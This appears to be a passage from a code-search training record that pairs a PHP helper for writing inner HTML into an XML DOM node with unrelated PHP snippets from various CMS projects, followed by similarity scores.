$langs->trans(\"Setup\");\r\n\t$head[$h][2] = 'general';\r\n\t$h++;\r\n\t\r\n\t\r\n\tif (! empty($conf->global->MAIN_SUBMODULE_EXPEDITION))\r\n\t{\r\n\t\t$head[$h][0] = DOL_URL_ROOT.\"/admin/expedition.php\";\r\n\t\t$head[$h][1] = $langs->trans(\"Shipment\");\r\n\t\t$head[$h][2] = 'shipment';\r\n\t\t$h++;\r\n\t}\r\n\t\r\n\t\r\n\tif (! empty($conf->global->MAIN_SUBMODULE_EXPEDITION))\r\n\t{\r\n\t$head[$h][0] = DOL_URL_ROOT.'/admin/expedition_extrafields.php';\r\n\t$head[$h][1] = $langs->trans(\"ExtraFields\");\r\n\t$head[$h][2] = 'attributes_shipment';\r\n\t$h++;\r\n\t}\r\n\t\r\n\tif (! empty($conf->global->MAIN_SUBMODULE_EXPEDITION))\r\n\t{\r\n\t$head[$h][0] = DOL_URL_ROOT.'/admin/expeditiondet_extrafields.php';\r\n\t$head[$h][1] = $langs->trans(\"ExtraFieldsLines\");\r\n\t$head[$h][2] = 'attributeslines_shipment';\r\n\t$h++;\r\n\t}\r\n\t\r\n\tif (! empty($conf->global->MAIN_SUBMODULE_LIVRAISON))\r\n\t{\r\n\t\t$head[$h][0] = DOL_URL_ROOT.\"/admin/livraison.php\";\r\n\t\t$head[$h][1] = $langs->trans(\"Receivings\");\r\n\t\t$head[$h][2] = 'receivings';\r\n\t\t$h++;\r\n\t}\r\n\t\r\n\tif (! empty($conf->global->MAIN_SUBMODULE_LIVRAISON))\r\n\t{\r\n\t\t$head[$h][0] = DOL_URL_ROOT.'/admin/livraison_extrafields.php';\r\n\t\t$head[$h][1] = $langs->trans(\"ExtraFields\");\r\n\t\t$head[$h][2] = 'attributes_receivings';\r\n\t\t$h++;\r\n\t}\r\n\t\r\n\tif (! empty($conf->global->MAIN_SUBMODULE_LIVRAISON))\r\n\t{\r\n\t\t$head[$h][0] = DOL_URL_ROOT.'/admin/livraisondet_extrafields.php';\r\n\t\t$head[$h][1] = $langs->trans(\"ExtraFieldsLines\");\r\n\t\t$head[$h][2] = 'attributeslines_receivings';\r\n\t\t$h++;\r\n\t}\r\n\t\r\n\t\r\n\t\r\n\tcomplete_head_from_modules($conf,$langs,null,$head,$h,'expedition_admin','remove');\r\n\r\n\treturn $head;\r\n}", "function tpl_page($help = '', $title = '')\n{\n tpl_language();\n tpl_header($help, $title);\n tpl_footer();\n}", "function displayTools()\n\t{\n\t\t$this->checkDisplayMode();\n\n\t\t// output\n\t\tilUtil::sendInfo();\n\n\t\t// use property forms and add the settings type switch\n\t\t$ctrl_structure_form = $this->initControlStructureForm();\n\t\t$settings_type_form = $this->initSettingsTypeForm();\n\t\t$mp_ns_form = $this->initTreeImplementationForm();\n\n\t\t$this->tpl->setVariable(\"SETUP_CONTENT\",\n\t\t\t$ctrl_structure_form->getHTML() . \"<br />\" .\n\t\t\t$settings_type_form->getHTML().'<br />'.\n\t\t\t$mp_ns_form->getHTML());\n\n\t}", "public function installComponentLanguages()\n\t{\n\t$mainframe =& JFactory::getApplication();\n\t//$lang = JFactory::getLanguage(); \n\t\n $db =& JFactory::getDBO();\n $query = $db->getQuery(true);\n $type = \"language\";\n $query->select('a.element');\n $query->from('#__extensions AS a');\n $type = $db->Quote($type);\n\t$query->where('(a.type = '.$type.')');\n\t$query->group('a.element');\n $db->setQuery($query);\n $langlist = $db->loadObjectList();\n\t//echo 'Language -> <pre>'.print_r($langlist,true).'</pre><br>';\n\t\n\t//$languages = JLanguageHelper::getLanguages('lang_code');\n// echo 'Copy Administration language(s) provided by <a href=\"https://opentranslators.transifex.com/projects/p/joomleague/\">Transifex</a><br>';\n\t\n \t//echo 'Language -> <pre>'.print_r($languages,true).'</pre><br>';\n \n foreach ( $langlist as $key )\n {\n //$mainframe->enqueueMessage('Language installed -> ' . $key,'Notice');\n echo 'Copy Administration language( '.$key->element.' ) provided by <a href=\"https://opentranslators.transifex.com/projects/p/joomleague/\">Transifex</a><br>';\n \n $src=JPATH_ADMINISTRATOR.DS.'components'.DS.'com_joomleague'.DS;\n\t\t$dest=JPATH_ADMINISTRATOR.DS.'modules';\n\t\tJFolder::copy($src.DS.'language'.DS.$key->element, JPATH_ADMINISTRATOR.DS.'language'.DS.$key->element, '', true);\n\t\t\n\t\techo ' - <span style=\"color:green\">'.JText::_('Success-> '.$key->element).'</span><br />';\n\t\techo 'Copy Site language( '.$key->element.' ) provided by <a href=\"https://opentranslators.transifex.com/projects/p/joomleague/\">Transifex</a><br>';\n\t\t$src=JPATH_SITE.DS.'components'.DS.'com_joomleague'.DS;\n\t\t$dest=JPATH_SITE.DS;\n\t\tJFolder::copy($src.DS.'language'.DS.$key->element, JPATH_SITE.DS.'language'.DS.$key->element, '', true);\n\t\techo ' - <span style=\"color:green\">'.JText::_('Success -> '.$key->element).'</span><br />';\n\t\t}\n\t\t\n\t}", "function install_single_pages($pkg)\n {\n // $directoryDefault->update(array('cName' => t('Sample Package'), 'cDescription' => t('Sample Package')));\n }", "function MyShop_Main($args) {\n global $_CONF, $_TABLES, $_MYSHOP_CONF;\n\n $T = new Template($_CONF['path'] . 'plugins/myshop/templates');\n\n $T->set_file(array (\n 'topmenu' => 'topmenu.thtml',\n 'product' => 'product.thtml',\n 'table' => 'table.thtml',\n ));\n\n $row = MyShop_GetProduct(\"on\");\n if ($row == \"\")\n {\n $row = MyShop_str('no_product');\n }\n\n $T->set_var(array(\n 'lang_piname' => $_MYSHOP_CONF['pi_display_name'],\n 'icon_url' => $_CONF['site_url'] . '/myshop/images/myshop.png',\n 'title' => MyShop_str('pi_name'),\n 'caption' => MyShop_str('top_menu_caption'),\n 'menu1' => MyShop_str('top_menu1'),\n 'menu2' => MyShop_str('top_menu2'),\n 'menu3' => MyShop_str('top_menu3'),\n 'menu4' => MyShop_str('top_menu4'),\n 'meta1' => MyShop_str('product_name'),\n 'meta2' => MyShop_str('tbl_head_text'),\n 'meta3' => MyShop_str('tbl_head_price'),\n 'meta4' => MyShop_str('stock'),\n 'meta5' => MyShop_str('tbl_head_image'),\n 'notfound' => $notfound,\n 'h1' => MyShop_str('tbl_head_image'),\n 'h2' => MyShop_str('tbl_head_text'),\n 'h3' => MyShop_str('tbl_head_price'),\n 'h4' => MyShop_str('stock'),\n 'h5' => \"-\",\n 'list' => $row,\n ));\n\n $T->parse('output', 'topmenu');\n $content .= $T->finish($T->get_var('output'));\n\n $T->parse('output', 'product');\n $content .= $T->finish($T->get_var('output'));\n\n $T->parse('output', 'table');\n $content .= $T->finish($T->get_var('output'));\n \n $display = COM_createHTMLDocument($content);\n COM_output($display);\n}", "function printFormInstall()\n\t\t{\n\t\t$html = '\n\t\t\n\t\t<div>\n\t\t\n\t\t<form id=\"forminstall\">\n \n\t\t<legend><h1>Configuración del módulo</h1></legend>\n \n\t\t\t\t\t<p>&nbsp;</p>\n\t\t\t\t\t\n\t\t\t\t\t<fieldset>\n\t\t\t\t\t <div>\n\t\t\t\t\t \t<p><label>Qué tipo de funcionalidad desea instalar?</label></p>\n\t\t\t\t\t </div>\n\t\t\t\t\t <div>\n\t\t\t\t\t\t <p>\n\t\t\t\t\t\t <select name=\"funcionality\" class=\"large\">\n\t\t\t\t\t\t\t <option value=\"sel\">Seleccione</option>\n\t\t\t\t\t\t\t <option value=\"1\">Título y artículo</option>\n\t\t\t\t\t\t\t <option value=\"2\">Título, artículo y una imagen</option>\n\t\t\t\t\t\t\t <option value=\"3\">Título, artículo y varias imagenes</option>\n\t\t\t\t\t\t </select>\n\t\t\t\t\t\t </p>\n\t\t\t\t\t </div>\t\t\t\t \n\t\t\t\t\t </fieldset>\n\t\t\t\t\t \n\t\t\t\t\t <p>&nbsp;</p>\n\t\t\t\t\t \n\t\t\t\t\t <!--<fieldset>\n\t\t\t\t\t <div>\n\t\t\t\t\t \t<p><label>Desea anadir la característica \"extracto\" del artículo?</label></p>\n\t\t\t\t\t </div>\n\t\t\t\t\t <div>\n\t\t\t\t\t\t <p>\n\t\t\t\t\t\t\t<label>\n\t\t\t\t\t\t\t <input type=\"radio\" name=\"xtract\" value=\"1\" id=\"xtract_0\" />Si</label>\n\t\t\t\t\t\t\t<label>\n\t\t\t\t\t\t\t <input type=\"radio\" name=\"xtract\" value=\"0\" id=\"xtract_1\" />No</label>\n\t\t\t\t\t\t </p>\n\t\t\t\t\t </div>\n\t\t\t\t\t\t</fieldset>-->\n\t\t\t\t\t\t\n\n\t\t\t\t\t\n\t\t\t\t\t<fieldset>\n\t\t\t\t\t <div>\n\t\t\t\t\t \t<p><label>Instalar datos de ejemplo?</label></p>\n\t\t\t\t\t </div>\n\t\t\t\t\t <div>\n\t\t\t\t\t\t <p>\n\t\t\t\t\t\t\t<label>\n\t\t\t\t\t\t\t <input type=\"radio\" name=\"dataExample\" value=\"1\" id=\"dataExample_0\" />Si</label>\n\t\t\t\t\t\t\t<label>\n\t\t\t\t\t\t\t <input type=\"radio\" name=\"dataExample\" value=\"0\" id=\"dataExample_1\" />No</label>\n\t\t\t\t\t\t </p>\n\t\t\t\t\t </div>\n\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t<p>&nbsp;</p>\t \n\t\t\t\t <a class=\"uibutton\" onclick=\"xajax_install(xajax.getFormValues(\\'forminstall\\')); return false;\">Instalar módulo</a> \t\t\t\t \n\t\t</form>\t\t\t \n\t</div>\t\t\t\n</div>';\nreturn $html;\n\t\t}", "function main() {\n\t\t// Initializes the module. Done in this function because we may need to re-initialize if data is submitted!\n\t\tglobal $SOBE,$BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\t\t\n\t\t\n\t\t\n\t\tif (t3lib_div::_GP('submit')=='') {\n\t\t\t\n\t\t\t$extList = $this->getExtList();\n\t\t\t\n\t\t\t$option = '<option value=\"\">Select:</option>';\n\t\t\tforeach($extList AS $extItem){\n\t\t\t\t$option .= '<option value=\"'.$extItem.'\">'.$extItem.'</option>';\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t$content='<form>';\n\t\t\t$content.='<input type=\"hidden\" name=\"SET[function]\" value=\"tx_disckickstarter_modfunc1\">';\n\t\t\t$content.='<select name=\"actualkey\">';\n\t\t\t$content.=$option;\n\t\t\t$content.='</select>';\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$content.='Copy to key:<input name=\"newkey\">';\n\t\t\t$content.='<input type=\"submit\" name=\"submit\" value=\"do it\"></form>';\n\t\t\t\n\t\t\t$content .='<h3>What it does</h3><ul><li>All files and folders are copied to the new extension folder: typo3conf/ext/****</li>';\n\t\t\t$content .='<li>In every file the appearance of the extensionname is replaced:<ul><li>old_key -> new_key</li><li>tx_oldkey -> tx_newkey</li></ul></ul>';\n\t\t\t\n\t\t}\n\t\telse {\n\t\t\t$actualkey=t3lib_div::_GP('actualkey');\n\t\t\t$newkey=t3lib_div::_GP('newkey');\n\t\t\tif (strcmp($newkey,'') && strcmp($actualkey,''))\t{\n\t\t\t\t//$from=t3lib_extMgm::extPath($actualkey);\n\t\t\t\t$from=PATH_site.'typo3conf/ext/'.$actualkey.'/';\n\t\t\t\t$to=PATH_site.'typo3conf/ext/'.$newkey.'/';\n\t\t\t\t$renames=array();\n\t\t\t\t$renames['tx_'.str_replace('_','',$actualkey)]='tx_'.str_replace('_','',$newkey);\n\t\t\t\t$renames[$actualkey]=$newkey;\n\t\t\t\t\n\t\t\t\t$content.='From: '.$from.' To:'.$to;\n\t\t\t\t\n\t\t\t\t$content.=$this->copyAllFilesWithRename($from,$to,$renames);\n\t\t\t\t$content.='<hr>';\n\t\t\t\tforeach($this->debug as $debug) {\n\t\t\t\t\t$content.=$debug.'<br>';\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$content.='Please enter two valid Extensionkeys, and be sure that the actual extension is installed';\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\t\n\t\t\n\t\t$theOutput.=$this->pObj->doc->spacer(5);\n\t\t$theOutput.=$this->pObj->doc->section($LANG->getLL(\"title\"),$content,0,1);\n\t\t\n\t\t\n\t\t/*\n\t\t$menu=array();\n\t\t$menu[]=t3lib_BEfunc::getFuncCheck($this->wizard->pObj->id,\"SET[tx_disckickstarter_modfunc1_check]\",$this->wizard->pObj->MOD_SETTINGS[\"tx_disckickstarter_modfunc1_check\"]).$LANG->getLL(\"checklabel\");\n\t\t$theOutput.=$this->pObj->doc->spacer(5);\n\t\t$theOutput.=$this->pObj->doc->section(\"Menu\",implode(\" - \",$menu),0,1);\n\t\t*/\n\t\t\n\t\t\n\t\treturn $theOutput;\n\t}", "function build_garage_install_list_html($selected,$selected_name)\n\t{\n\t\tglobal $userdata, $template, $db, $SID, $lang, $phpEx, $phpbb_root_path, $garage_config, $board_config;\n\t\n\t\t$garage_install_list = \"<select name='install_business_id' class='forminput'>\";\n\t\n\t\tif (!empty($selected) )\n\t\t{\n\t\t\t$garage_install_list .= \"<option value='$selected' selected='selected'>$selected_name</option>\";\n\t\t\t$garage_install_list .= \"<option value=''>------</option>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$garage_install_list .= \"<option value=''>\".$lang['Select_A_Business'].\"</option>\";\n\t\t\t$garage_install_list .= \"<option value=''>------</option>\";\n\t\t}\n\t\n\t\t$sql = \"SELECT id, title FROM \" . GARAGE_BUSINESS_TABLE . \" WHERE garage = 1 ORDER BY title ASC\";\n\t\n\t\tif( !($result = $db->sql_query($sql)) )\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'Could not query businesses', '', __LINE__, __FILE__, $sql);\n\t\t}\n\t\n\t\twhile ( $garage_list = $db->sql_fetchrow($result) )\n\t\t{\n\t\t\t$garage_install_list .= \"<option value='\".$garage_list['id'].\"'>\".$garage_list['title'].\"</option>\";\n\t\t}\n\t\t$db->sql_freeresult($result);\n\t\t\n\t\t$garage_install_list .= \"</select>\";\n\t\n\t\t$template->assign_vars(array(\n\t\t\t'GARAGE_INSTALL_LIST' => $garage_install_list)\n\t\t);\n\t\n\t\treturn ;\n\t}", "private function buildPage() {\n ob_clean();\n ob_start();\n\n //session_start();\n require_once $this->_template;\n\n $this->_page = ob_get_clean();\n }", "function DS_Custom_Modules(){\n if(class_exists(\"ET_Builder_Module\")){\n \t// This adds options for more contact types and, with some clever css, a more flexible usage.\n\tinclude(\"ehanhanced_divi_modules/extended_person_module.php\");\n\n\t// This creates a hybrid blurb/cta. CTA's should have the option for images and more than one button. Sheesh!\n\tinclude(\"ehanhanced_divi_modules/extended_cta.php\");\n }\n}", "function speaker_bureau_theme_create_page() {\n require_once get_template_directory().'/inc/templates/speaker-bureau-admin.php';\n\n}" ]
[ "0.68117386", "0.6257656", "0.6169114", "0.61197644", "0.60670847", "0.6035333", "0.5963818", "0.59474105", "0.59227645", "0.5908078", "0.58754194", "0.58266115", "0.5825155", "0.58153105", "0.5814015", "0.58116204", "0.5811198", "0.5806034", "0.57935363", "0.5782737", "0.57774144", "0.5774136", "0.57641417", "0.57376343", "0.57366806", "0.57235074", "0.57140076", "0.5713918", "0.5709597", "0.5706254", "0.5691348", "0.5689112", "0.56751657", "0.5675016", "0.56543684", "0.5646156", "0.5644561", "0.5642876", "0.5639254", "0.56360084", "0.5634881", "0.562371", "0.5622725", "0.5618303", "0.5607672", "0.559362", "0.55887425", "0.5585514", "0.5585208", "0.55774385", "0.55604976", "0.55575824", "0.5554939", "0.5550317", "0.55474216", "0.55440515", "0.5538734", "0.5537739", "0.55332226", "0.55278474", "0.5526285", "0.5524739", "0.5524299", "0.55194485", "0.5516818", "0.5516686", "0.5513296", "0.5506672", "0.5499349", "0.54938054", "0.54877675", "0.54804164", "0.5475668", "0.5474574", "0.5473946", "0.5464546", "0.54536784", "0.5452041", "0.54444164", "0.54412484", "0.54296774", "0.54245216", "0.5421239", "0.5420611", "0.5420274", "0.5420274", "0.541832", "0.5409612", "0.5408471", "0.54053885", "0.5405177", "0.5399755", "0.5394304", "0.53911865", "0.5388311", "0.538797", "0.5387527", "0.5384966", "0.5383785", "0.5381397" ]
0.7260305
0
/ Function: setNodeHtml convenience function to write inner HTML content to a XML node, and suppress warnings from html parser
function setNodeHtml($node, $content) { while ($node->childNodes->length) $node->removeChild($node->childNodes->item(0)); libxml_use_internal_errors(true); $nodeXml = new DOMDocument('1.0', 'UTF-8'); if(!$nodeXml->loadHTML('<?xml encoding="UTF-8"><html><body><div xml:id="hyphaImport">'.preg_replace('/\r/i', '', $content).'</div></body></html>')) return __('error-loading-html'); libxml_clear_errors(); libxml_use_internal_errors(false); foreach($nodeXml->getElementById('hyphaImport')->childNodes as $child) $node->appendChild($node->ownerDocument->importNode($child, true)); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function testSetHtml()\n {\n $document = $this->createDomDocument();\n $element = $document->createElementNS(Atom::NS, 'content');\n $document->documentElement->appendChild($element);\n $content = new Content($this->createFakeNode(), $element);\n $content->setContent('<em> &lt; </em>', 'html');\n static::assertEquals(\n '<content type=\"html\">&lt;em&gt; &lt; &lt;/em&gt;</content>',\n $document->saveXML($element)\n );\n }", "protected function setHtmlFromDomDocument()\n {\n // retain the modified html\n $this->html = trim($this->doc->saveHtml($this->doc->documentElement));\n\n // strip the html and body tags added by DomDocument\n $this->html = substr(\n $this->html,\n strlen('<html><body>'),\n -1 * strlen('</body></html>')\n );\n\n // still may be whitespace all about\n $this->html = trim($this->html) . PHP_EOL;\n }", "protected function setHtmlContent() {}", "public function setHtml();", "private function setInnerHTML($element, $html)\n\t{\n\t $fragment = $element->ownerDocument->createDocumentFragment();\n\t $fragment->appendXML($html);\n\t while ($element->hasChildNodes())\n\t $element->removeChild($element->firstChild);\n\t @$element->appendChild($fragment);\n\t}", "public function testSetXhtml()\n {\n $document = $this->createDomDocument('<content/>');\n $content = new Content($this->createFakeNode(), $document->documentElement->firstChild);\n\n $xhtml = $this->createDomElement('foo');\n $element = $xhtml->ownerDocument->createElement('bar', 'BAR');\n $element->setAttribute('a', 'b');\n $xhtml->appendChild($element);\n $xhtml->appendChild($xhtml->ownerDocument->createElement('baz', 'BAZ'));\n\n $content->setContent($xhtml, 'xhtml');\n static::assertEquals(\n '<content type=\"xhtml\">' .\n '<xhtml:div><xhtml:bar a=\"b\">BAR</xhtml:bar><xhtml:baz>BAZ</xhtml:baz></xhtml:div>' .\n '</content>',\n $document->saveXML($document->documentElement->firstChild)\n );\n }", "public function testGetHtml()\n {\n $doc = $this->createDomDocument('<content type=\"html\">&lt;em> &amp;lt; &lt;/em></content>');\n $content = new Content($this->createFakeNode(), $doc->documentElement->firstChild);\n static::assertEquals('html', $content->getType());\n static::assertEquals('<em> &lt; </em>', (string) $content);\n }", "public final function setHtml($html)\n {\n $this->children = [(string) $html];\n return $this;\n }", "static function replaceHtmlDom($element, $html, $encoding = 'UTF-8', $preserveAttr = true)\n {\n if ($html == null) {\n return;\n }\n\n $html = self::cleanXml($html, $encoding);\n if (substr($html, 0, 5) == '<?xml') {\n $html = substr($html, strpos($html, \"\\n\", 5) + 1);\n }\n $elementDoc = $element->ownerDocument;\n\n $contentNode = self::makeContentNode($html);\n $contentNode = $contentNode->firstChild;\n $contentNode = $elementDoc->importNode($contentNode, true);\n if ($element->hasAttributes() && $preserveAttr && $contentNode->nodeType == \\XML_ELEMENT_NODE) {\n foreach ($element->attributes as $attr) {\n $contentNode->setAttribute($attr->nodeName, $attr->nodeValue);\n }\n }\n $element->parentNode->replaceChild($contentNode, $element);\n return $contentNode;\n }", "public function getHtml(BBcodeElementNode $el);", "public function setBodyHtml($html);", "function setCustomHTML($html) {\n\t\t$this->customHTML = $html;\n\t}", "public abstract function asHTML();", "public function html($html = null) { \r\n\t\t\r\n\t\tif (!isset($html)) return $this[0]->C14N(); \r\n\t\t\r\n\t\tforeach ($this as $node) {\r\n\t\t\t\r\n\t\t\t$node = $this->initListObject($node);\r\n\t\t\t$node->emptyNode();\r\n\t\t\t$node->append($html);\r\n\t\t}\r\n\t\t\r\n\t\treturn $this;\r\n\t}", "public function setHtml($html)\n\t{\n\t\t$this->_html = $this->buildHtml($html);\n\t}", "function set_html($html=true)\n\t{\n\t\t$this->html = true;\n\t}", "protected function setElementContent($node, $value)\n\t{\n\t\tif ($node->tagName == 'input') {\n\t\t\t$node->setAttribute('value', $value);\n\t\t} else if ($node->tagName == 'img') {\n\t\t\t$node->setAttribute('src', $value);\n\t\t} else if ($node->tagName == 'a') {\n\t\t\t$node->setAttribute('href', $value);\n\t\t} else if ($node->tagName == 'meta') {\n\t\t\t$node->setAttribute('content', $value);\n\t\t} else {\n\t\t\t$node->nodeValue = htmlentities($value);\n\t\t}\n\t}", "public function wrap_HTML_with_HTML_tags()\n\t{\n\t\t$this->HTML = '<html><body>'.$this->HTML.'</body></html>';\n\t}", "public static function appendHTML(DOMNode $parent, String $source) {\n\t\t$tmpDoc = new DOMDocument(\"1.0\", \"UTF-8\");\n\t\t$html = \"<html><body>\";\n\t\t$html .= $source;\n\t\t$html .= \"</body></html>\";\n\t\t$tmpDoc->loadHTML('<?xml encoding=\"UTF-8\">'.$html);\n\n\t\t/** @var DOMNode $item */\n\t\tforeach ($tmpDoc->childNodes as $item)\n\t\tif ($item->nodeType == XML_PI_NODE)\n\t\t$tmpDoc->removeChild($item);\n\t\t$tmpDoc->encoding = 'UTF-8';\n\n\t\t/** @var DOMNode $node */\n\t\tforeach($tmpDoc->getElementsByTagName('body')->item(0)->childNodes as $node) {\n\t\t\t$importedNode = $parent->ownerDocument->importNode($node, true);\n\t\t\t$parent->appendChild($importedNode);\n\t\t}\n\t}", "public function setHtmlContent($html)\n {\n $this->htmlContent = $html;\n }", "public function html()\n\t{\n\t\t$output = \"\";\n\t\t\n\t\t$doc = new DOMDocument(\"1.0\", \"UTF-8\");\n\t\t$element = $doc->importNode(dom_import_simplexml($this), true);\n\t\t\n\t\t$doc->appendChild($element);\n\t\t\n\t\tforeach($doc->firstChild->childNodes as $child)\n\t\t\t$output .= $child->ownerDocument->saveHTML($child);\n\t\t\n\t\treturn $output;\n\t}", "function setInnerXML($node,$xml) {\n\t\t$doc=$node->ownerDocument;\n\t\t$f = $doc->createDocumentFragment();\n\t\t$f->appendXML($xml);\n\t\t$node->parentNode->replaceChild($f,$node);\n\t}", "public function testScanDomHTML(): void\n {\n // http://php.net/manual/de/libxml.constants.php\n if (version_compare(LIBXML_DOTTED_VERSION, '2.7.8', '<')) {\n $this->markTestSkipped(\n 'libxml 2.7.8+ required but found ' . LIBXML_DOTTED_VERSION\n );\n }\n\n $dom = new DOMDocument('1.0');\n $html = <<<HTML\n <p>a simple test</p>\n HTML;\n $constants = LIBXML_HTML_NODEFDTD | LIBXML_HTML_NOIMPLIED;\n $result = XmlSecurity::scanHtml($html, $dom, $constants);\n $this->assertTrue($result instanceof DOMDocument);\n $this->assertEquals($html, trim($result->saveHtml()));\n }", "protected function parseHtml() {\r\n\t\tif (is_array($this->cfg->html))\r\n\t\t\t$this->cfg->html = utils::render($this->cfg->html);\r\n\t}", "public function innerHTML($_node) {\n\t\treturn preg_replace(\n\t\t\t'/^<(\\w+)\\b[^>]*>(.*)<\\/\\1?>/s','$2',\n\t\t\t$_node->ownerDocument->saveXML($_node)\n\t\t);\n\t}", "public function testAddInvalidHTML(string $html)\n {\n (new Dom())->add($html);\n }", "public function doXHTML_cleaning() {}", "public function setContent($editor, $html){\n\t\treturn \"if (tinyMCE.get('\".$editor.\"') == null) {tinyMCE.execCommand('mceAddEditor',0,'\".$editor.\"');} tinyMCE.get('\".$editor.\"').setContent('\".$html.\"');\";\n\t}", "public abstract function cleanHTML($content);", "protected function childNodesToHtml()\n {\n return array_reduce($this->childNodes, function ($html, $childNode) {\n return $html . $childNode->toHtml();\n }, '');\n }", "public function setHtml($html)\n {\n $this->html = $this->message['html'] = $html;\n }", "public function saveHTML(?DOMNode $node = null, bool $entities = false)\n {\n $html = parent::saveHTML($node);\n\n if ($entities === false) {\n $html = html_entity_decode($html);\n }\n\n if ($node === null) {\n $html = $this->unwrapFakeRoot($html);\n }\n\n return $html;\n }", "public function testGetXhtml()\n {\n $doc = $this->createDomDocument(\n '<content type=\"xhtml\"><xhtml:div><xhtml:em> &lt; </xhtml:em></xhtml:div></content>'\n );\n\n $content = new Content($this->createFakeNode(), $doc->documentElement->firstChild);\n static::assertEquals('xhtml', $content->getType());\n static::assertEquals('<em> &lt; </em>', (string) $content);\n }", "public function saveHTML($context = NULL): string {\n if ($context instanceof \\DOMDocumentFragment) {\n $context = $context->childNodes;\n }\n if ($context instanceof \\DOMNodeList) {\n $result = '';\n foreach ($context as $node) {\n $result .= parent::saveHTML($node);\n }\n return $result;\n }\n if (NULL === $context) {\n $result = '';\n $textOnly = TRUE;\n $elementCount = 0;\n foreach ($this->childNodes as $node) {\n $textOnly = $textOnly && $node instanceof \\DOMText;\n $elementCount += $node instanceof \\DOMElement ? 1 : 0;\n if ($node instanceof \\DOMDocumentType) {\n $result .= parent::saveXML($node).\"\\n\";\n } else {\n $result .= parent::saveHTML($node);\n }\n }\n return $textOnly || $elementCount > 1 ? $result : $result.\"\\n\";\n }\n return parent::saveHTML($context);\n }", "public function markup($nodes = null, $innerMarkup = false) {\n\t\tif (isset($nodes) && count($nodes) == 1 && $nodes[0] instanceof DOMDOCUMENT)\n\t\t\t$nodes = null;\n\t\tif (isset($nodes)) {\n\t\t\t$markup = '';\n\t\t\tif (!is_array($nodes) && !($nodes instanceof DOMNODELIST) )\n\t\t\t\t$nodes = array($nodes);\n\t\t\tif ($this->isDocumentFragment && ! $innerMarkup)\n\t\t\t\tforeach($nodes as $i => $node)\n\t\t\t\t\tif ($node->isSameNode($this->root)) {\n\t\t\t\t\t//\tvar_dump($node);\n\t\t\t\t\t\t$nodes = array_slice($nodes, 0, $i)\n\t\t\t\t\t\t\t+ phpQuery::DOMNodeListToArray($node->childNodes)\n\t\t\t\t\t\t\t+ array_slice($nodes, $i+1);\n\t\t\t\t\t\t}\n\t\t\tif ($this->isXML && ! $innerMarkup) {\n\t\t\t\tself::debug(\"Getting outerXML with charset '{$this->charset}'\");\n\t\t\t\t// we need outerXML, so we can benefit from\n\t\t\t\t// $node param support in saveXML()\n\t\t\t\tforeach($nodes as $node)\n\t\t\t\t\t$markup .= $this->document->saveXML($node);\n\t\t\t} else {\n\t\t\t\t$loop = array();\n\t\t\t\tif ($innerMarkup)\n\t\t\t\t\tforeach($nodes as $node) {\n\t\t\t\t\t\tif ($node->childNodes)\n\t\t\t\t\t\t\tforeach($node->childNodes as $child)\n\t\t\t\t\t\t\t\t$loop[] = $child;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$loop[] = $node;\n\t\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t$loop = $nodes;\n\t\t\t\tself::debug(\"Getting markup, moving selected nodes (\".count($loop).\") to new DocumentFragment\");\n\t\t\t\t$fake = $this->documentFragmentCreate($loop);\n\t\t\t\t$markup = $this->documentFragmentToMarkup($fake);\n\t\t\t}\n\t\t\tif ($this->isXHTML) {\n\t\t\t\tself::debug(\"Fixing XHTML\");\n\t\t\t\t$markup = self::markupFixXHTML($markup);\n\t\t\t}\n\t\t\tself::debug(\"Markup: \".substr($markup, 0, 250));\n\t\t\treturn $markup;\n\t\t} else {\n\t\t\tif ($this->isDocumentFragment) {\n\t\t\t\t// documentFragment, html only...\n\t\t\t\tself::debug(\"Getting markup, DocumentFragment detected\");\n//\t\t\t\treturn $this->markup(\n////\t\t\t\t\t$this->document->getElementsByTagName('body')->item(0)\n//\t\t\t\t\t$this->document->root, true\n//\t\t\t\t);\n\t\t\t\t$markup = $this->documentFragmentToMarkup($this);\n\t\t\t\t// no need for markupFixXHTML, as it's done thought markup($nodes) method\n\t\t\t\treturn $markup;\n\t\t\t} else {\n\t\t\t\tself::debug(\"Getting markup (\".($this->isXML?'XML':'HTML').\"), final with charset '{$this->charset}'\");\n\t\t\t\t$markup = $this->isXML\n\t\t\t\t\t? $this->document->saveXML()\n\t\t\t\t\t: $this->document->saveHTML();\n\t\t\t\tif ($this->isXHTML) {\n\t\t\t\t\tself::debug(\"Fixing XHTML\");\n\t\t\t\t\t$markup = self::markupFixXHTML($markup);\n\t\t\t\t}\n\t\t\t\tself::debug(\"Markup: \".substr($markup, 0, 250));\n\t\t\t\treturn $markup;\n\t\t\t}\n\t\t}\n\t}", "public function markup($nodes = null, $innerMarkup = false) {\n\t\tif (isset($nodes) && count($nodes) == 1 && $nodes[0] instanceof DOMDOCUMENT)\n\t\t\t$nodes = null;\n\t\tif (isset($nodes)) {\n\t\t\t$markup = '';\n\t\t\tif (!is_array($nodes) && !($nodes instanceof DOMNODELIST) )\n\t\t\t\t$nodes = array($nodes);\n\t\t\tif ($this->isDocumentFragment && ! $innerMarkup)\n\t\t\t\tforeach($nodes as $i => $node)\n\t\t\t\t\tif ($node->isSameNode($this->root)) {\n\t\t\t\t\t//\tvar_dump($node);\n\t\t\t\t\t\t$nodes = array_slice($nodes, 0, $i)\n\t\t\t\t\t\t\t+ phpQuery::DOMNodeListToArray($node->childNodes)\n\t\t\t\t\t\t\t+ array_slice($nodes, $i+1);\n\t\t\t\t\t\t}\n\t\t\tif ($this->isXML && ! $innerMarkup) {\n\t\t\t\tself::debug(\"Getting outerXML with charset '{$this->charset}'\");\n\t\t\t\t// we need outerXML, so we can benefit from\n\t\t\t\t// $node param support in saveXML()\n\t\t\t\tforeach($nodes as $node)\n\t\t\t\t\t$markup .= $this->document->saveXML($node);\n\t\t\t} else {\n\t\t\t\t$loop = array();\n\t\t\t\tif ($innerMarkup)\n\t\t\t\t\tforeach($nodes as $node) 